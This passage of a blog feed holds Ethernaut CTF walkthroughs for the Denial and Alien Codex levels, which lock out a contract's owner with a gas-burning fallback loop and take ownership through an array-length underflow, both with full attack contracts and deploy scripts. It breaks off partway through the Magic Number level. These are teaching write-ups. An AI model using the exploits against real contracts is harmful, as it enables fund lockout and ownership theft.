    uint timeLastWi...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-20-denial</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-20-denial</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Mon, 01 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713846272463/f967d9c0-b810-4f71-ab72-9a8841920418.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/20-denial-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/20-denial-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Denial</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> partner; <span class="hljs-comment">// withdrawal partner - pay the gas, split the withdraw</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> owner <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0xA9E</span>);
    <span class="hljs-keyword">uint</span> timeLastWithdrawn;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint</span>) withdrawPartnerBalances; <span class="hljs-comment">// keep track of partners balances</span>

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setWithdrawPartner</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _partner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        partner <span class="hljs-operator">=</span> _partner;
    }

    <span class="hljs-comment">// withdraw 1% to recipient and 1% to owner</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint</span> amountToSend <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">/</span> <span class="hljs-number">100</span>;
        <span class="hljs-comment">// perform a call without checking return</span>
        <span class="hljs-comment">// The recipient can revert, the owner will still get their share</span>
        partner.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: amountToSend}(<span class="hljs-string">""</span>);
        <span class="hljs-keyword">payable</span>(owner).<span class="hljs-built_in">transfer</span>(amountToSend);
        <span class="hljs-comment">// keep track of last withdrawal time</span>
        timeLastWithdrawn <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>;
        withdrawPartnerBalances[partner] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amountToSend;
    }

    <span class="hljs-comment">// allow deposit of funds</span>
    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-comment">// convenience function</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">contractBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>The goal of the Denial challenge is to prevent the owner from withdrawing funds using the <code>withdraw()</code> function. How to do that?</p>
<p>Let's take a look at the <code>withdraw()</code> function:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint</span> amountToSend <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">/</span> <span class="hljs-number">100</span>; <span class="hljs-comment">// 1% of the contract's balance</span>
        partner.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>:amountToSend}(<span class="hljs-string">""</span>); <span class="hljs-comment">// Send to partner using call</span>
        <span class="hljs-keyword">payable</span>(owner).<span class="hljs-built_in">transfer</span>(amountToSend); <span class="hljs-comment">// Send to owner using transfer</span>

        <span class="hljs-comment">// The rest is irrelevant to the solution, but note that the CEI isn't respected</span>
        timeLastWithdrawn <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>;
        withdrawPartnerBalances[partner] <span class="hljs-operator">+</span><span class="hljs-operator">=</span>  amountToSend;
    }
</code></pre>
<p>There are 2 external calls here:</p>
<ul>
<li><p><a target="_blank" href="http://partner.call"><code>partner.call</code></a><code>{value:amountToSend}("");</code></p>
</li>
<li><p><code>payable(owner).transfer(amountToSend);</code></p>
</li>
</ul>
<p>There isn't much we can do with the <code>transfer</code> to the owner. However, we know that the <code>call</code> function forwards all the remaining gas to the callee. Unfortunately, since the return value isn't checked, simply reverting upon receiving ether wouldn't work. So we have to find another way to break the <code>withdraw</code> function.</p>
<p>This can be achieved by using all the remaining gas within the fallback function. By doing so, the <code>withdraw()</code> function will never be able to complete its execution. In this case, a useless infinite loop will do the work beautifully:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {}
}
</code></pre>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the solution accordingly:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDenial</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setWithdrawPartner</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _partner</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Stop</span> </span>{
    IDenial idenial;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _denial</span>) </span>{
        idenial <span class="hljs-operator">=</span> IDenial(_denial);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">becomePartner</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        idenial.setWithdrawPartner(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {}
    }
}
</code></pre>
<p>As well as the script to deploy the <code>Stop</code> contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Stop</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/20_Denial.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your Denial instance</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> denial <span class="hljs-operator">=</span>
        <span class="hljs-number">0xA5aCd27F60246ebdA0dF9E55Dd78f394715747c4</span>; 

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        Stop stop <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Stop(denial);
        stop.becomePartner();

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Then run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/20_Denial.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Always check the return value of the <code>call</code> function.</p>
</li>
<li><p>A specific amount of gas can be specified when using the <code>call</code> function.</p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 19 - Alien Codex]]></title><description><![CDATA[Goals

The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

// import "../helpers/Ownable-05.sol";
import {Ownable} from "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public cod...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-19-alien-codex</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-19-alien-codex</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Sun, 31 Mar 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713844251140/323b1993-0538-4e14-9e08-3c8b994537ec.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/19-alien-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/19-alien-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.5.0;</span>

<span class="hljs-comment">// import "../helpers/Ownable-05.sol";</span>
<span class="hljs-keyword">import</span> {<span class="hljs-title">Ownable</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../helpers/Ownable-05.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AlienCodex</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Ownable</span> </span>{
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> contact;
    <span class="hljs-keyword">bytes32</span>[] <span class="hljs-keyword">public</span> codex;

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">contacted</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">assert</span>(contact);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">makeContact</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        contact <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">record</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _content</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">contacted</span> </span>{
        codex.<span class="hljs-built_in">push</span>(_content);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">retract</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">contacted</span> </span>{
        codex.<span class="hljs-built_in">length</span>-<span class="hljs-operator">-</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">revise</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> i, <span class="hljs-keyword">bytes32</span> _content</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">contacted</span> </span>{
        codex[i] <span class="hljs-operator">=</span> _content;
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>At this level, we have to find a way to override the <code>AlienCodex</code> contract's owner. We can see that it inherits from OpenZeppelin's Ownable contract.</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">import</span> <span class="hljs-string">'../helpers/Ownable-05.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AlienCodex</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Ownable</span> </span>{`
</code></pre>
<p>So let's visualize the contract's storage layout when accounting for the inheritance:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Slot Index</td><td>var name</td><td>Var Type</td><td>Var Size</td></tr>
</thead>
<tbody>
<tr>
<td>0</td><td>owner</td><td>address</td><td>20 bytes</td></tr>
<tr>
<td>0</td><td>contact</td><td>boolean</td><td>1 byte</td></tr>
<tr>
<td>1</td><td>codex</td><td>bytes32[]</td><td>32 bytes for array's length, then ???</td></tr>
</tbody>
</table>
</div><p>With that in mind, let's browse through the rest of the contract's code.</p>
<p>We see the following modifier used in all functions available to us except the <code>makeContact()</code> function:</p>
<pre><code class="lang-solidity"> <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">contacted</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">assert</span>(contact);
    <span class="hljs-keyword">_</span>;
  }
</code></pre>
<p>Fortunately, the <code>makeContact()</code> function is public and has no access restriction, so we can easily pass this modifier. It means that the challenge's solution lies in one of the following functions: <code>record()</code>, <code>retract()</code>, or <code>revise()</code>. All those three functions are related to the <code>codex</code> array, either adding, removing, or updating its content.</p>
<p>Now, it is time to take another look at the contract. It turns out it is using <code>solidity ^0.5.0</code>, meaning that there are no overflow/underflow checks natively integrated into solidity yet. So how could we take advantage of this?</p>
<h3 id="heading-1-codex-array-underflow">1. Codex array underflow</h3>
<ul>
<li><p>the <code>record()</code> function allows us to push a new <code>bytes32</code> into the <code>codex</code> array. Nothing interesting here.</p>
</li>
<li><p>the <code>revise()</code> function allows us to update an existing value in the <code>codex</code> array. Let's keep that in mind since we will most likely be looking at overriding the <code>owner</code> variable at some point.</p>
</li>
<li><p>the <code>retract()</code> function allows us to remove the last <code>bytes32</code> from the <code>codex</code> array. However, it is not using <code>array.pop()</code> but rather <code>array.length--</code>, which is reducing the array size by one. And... we know that there is no underflow check.</p>
</li>
</ul>
<p>So what would happen if we call the <code>retract()</code> function on an empty array? The array's length would underflow and would become equal to <code>2**256 - 1</code>. This is interesting because <code>2**256 - 1</code> is the maximum storage capacity for a contract. So thanks to the dynamic <code>codex</code> array, we can now access <strong>ANY</strong> slot in the Alien Codex contract's storage!</p>
<h3 id="heading-2-owner-override">2. Owner override</h3>
<p>Now that we have access to the whole contract's storage, we have to find the right index so we can call the <code>revise()</code> function and update its value.</p>
<p>The slot 1 is storing the length of the <code>codex</code> array. Then, the elements are stored starting at the slot equal to the hash of the slot index storing the array's length.</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">bytes32</span> hash <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>)); <span class="hljs-comment">// 1 == slot index</span>
codex[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> hash;
codex[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span> hash <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
codex[<span class="hljs-number">2</span>] <span class="hljs-operator">=</span> hash <span class="hljs-operator">+</span> <span class="hljs-number">2</span>;
...
</code></pre>
<p>Now, let's calculate the index of the <code>owner</code> variable. We know that the <code>owner</code> variable is stored at the first slot of the contract's storage. So we can calculate the index of the <code>owner</code> variable by using the following formula:</p>
<p><code>hash + index = slot 0</code> so <code>index = slot 0 - hash</code></p>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint256</span> index <span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">-</span> <span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>)));
</code></pre>
<p>All that is left to do is to call the <code>revise()</code> function with the calculated index to take ownership of the contract...</p>
<h2 id="heading-solution">Solution</h2>
<p>Here is how the complete solution looks like:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IAlienCodex</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">owner</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">makeContact</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">retract</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">revise</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> i, <span class="hljs-keyword">bytes32</span> _content</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AlienDecodex</span> </span>{
    IAlienCodex <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> alienCodex;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _alienCodex</span>) </span>{
        alienCodex <span class="hljs-operator">=</span> IAlienCodex(_alienCodex);
        alienCodex.makeContact();
        alienCodex.retract();
        <span class="hljs-keyword">bytes32</span> hash <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>));
        <span class="hljs-keyword">uint256</span> i;

        <span class="hljs-keyword">unchecked</span> { <span class="hljs-comment">// volountary underflow</span>
            i <span class="hljs-operator">-</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(hash);
        }

        alienCodex.revise(i, <span class="hljs-keyword">bytes32</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>))));
        <span class="hljs-built_in">require</span>(alienCodex.owner() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-string">"Hack failed"</span>);
    }
}
</code></pre>
<p>Now, let's prepare the deployment script that will handle everything for us:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">AlienDecodex</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/19_AlienCodex.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IAlienCodex</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">owner</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your Alien Codex instance</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> alienCodex <span class="hljs-operator">=</span>
        <span class="hljs-number">0xE57dAB9816371BEcC0E4fA092eb7FBE7C39365a6</span>; 

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        console2.log(<span class="hljs-string">"Current owner: "</span>, IAlienCodex(alienCodex).owner());

        <span class="hljs-keyword">new</span> AlienDecodex(alienCodex);
        <span class="hljs-keyword">address</span> alienOwner <span class="hljs-operator">=</span> IAlienCodex(alienCodex).owner();

        console2.log(<span class="hljs-string">"New owner: "</span>, alienOwner);

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Then run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/19_AlienCodex.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p>🎉 Level <strong>completed</strong> 🎉</p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Underflow and overflow are not limited to the token's balances!</p>
</li>
<li><p>Using <code>.length--</code> on an empty array causes an underflow and sets its length to 2**256-1.</p>
</li>
</ul>
<h2 id="heading-reference">Reference</h2>
<ul>
<li>Array Members: <a target="_blank" href="https://docs.soliditylang.org/en/latest/types.html#array-members">https://docs.soliditylang.org/en/latest/types.html#array-members</a></li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 18 - Magic Number]]></title><description><![CDATA[Goals

Ok, so here it gets way more advanced than previous levels. This level while looking quite simple, requires a deep knowledge of EVM opcode, how the stack works, and contract creation code and runtime code.
The Contract
// SPDX-License-Identifi...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-18-magic-number</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-18-magic-number</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Sat, 30 Mar 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713512247606/6ccb172c-70cc-4af8-ba3d-1e75bd9f1ee0.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/18-magicNumber-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/18-magicNumber-requirements.webp" alt /></a></p>
<p>Ok, so here it gets way more advanced than previous levels. This level while looking quite simple, requires a deep knowledge of EVM opcode, how the stack works, and contract creation code and runtime code.</p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">MagicNum</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> solver;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setSolver</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _solver</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        solver <span class="hljs-operator">=</span> _solver;
    }

    <span class="hljs-comment">/*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */</span>
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>Unfortunately, the following will not work:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Solver</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">whatIsTheMeaningOfLife</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-number">42</span>;
    }
}
</code></pre>
<p>This is because solidity is a high-level language that has a lot of "built-in" features and checks implemented for us. In other words, way too many opcodes to meet the challenge's requirements.</p>
<p>So, as suggested by the challenge, we need to write the contract in raw bytecode.</p>
<p>First, let's delimit the scope of what we need to achieve. The only things we have to worry about are:</p>
<ul>
<li><p>the contract deployment;</p>
</li>
<li><p>return <code>42</code> whenever called.</p>
</li>
</ul>
<p>In bytecode, this is the equivalent of:</p>
<ul>
<li><p>The <strong>creation bytecode</strong> in charge of deploying the contract;</p>
</li>
<li><p>The <strong>runtime bytecode</strong> which will live on-chain and be in charge of executing the contract's code.</p>
</li>
</ul>
<p>The creation bytecode is the first thing that gets executed when deploying a contract. It is in charge of deploying the contract and returning the runtime bytecode. This is why we will start with the runtime bytecode.</p>
<h3 id="heading-runtime-bytecode">Runtime bytecode</h3>
<p>The absolute minimal setup for this contract to return the number 42 whenever called would be the following:</p>
<ol>
<li><p>Store the number 42 in memory;</p>
</li>
<li><p>Return the number 42 from memory.</p>
</li>
</ol>
<p>In raw bytecode, we can write it like this:</p>
<ol>
<li>Using <code>MSTORE</code> to store the number 42 in memory: <code>mstore(pointer, value)</code></li>
</ol>
<div class="hn-table">
<table>
<thead>
<tr>
<td>BYTECODE</td><td>OPCODE</td><td>VALUE</td><td>COMMENT</td></tr>
</thead>
<tbody>
<tr>
<td>602a</td><td>60</td><td>PUSH1</td><td>2a</td><td>42 is (0x)2a in hexadecimal</td></tr>
<tr>
<td>6080</td><td>60</td><td>PUSH1</td><td>80</td><td>Memory pointer 0x80</td></tr>
<tr>
<td>52</td><td>52</td><td>MSTORE</td><td></td><td>Store 42 at memory position 0x80</td></tr>
</tbody>
</table>
</div><ol start="2">
<li>Using <code>RETURN</code> to return the number 42 from memory: <code>return(pointer, size)</code></li>
</ol>
<div class="hn-table">
<table>
<thead>
<tr>
<td>BYTECODE</td><td>OPCODE</td><td>VALUE</td><td>COMMENT</td></tr>
</thead>
<tbody>
<tr>
<td>6020</td><td>60</td><td>PUSH1</td><td>20</td><td>32 bytes in hexadecimal is (0x)20</td></tr>
<tr>
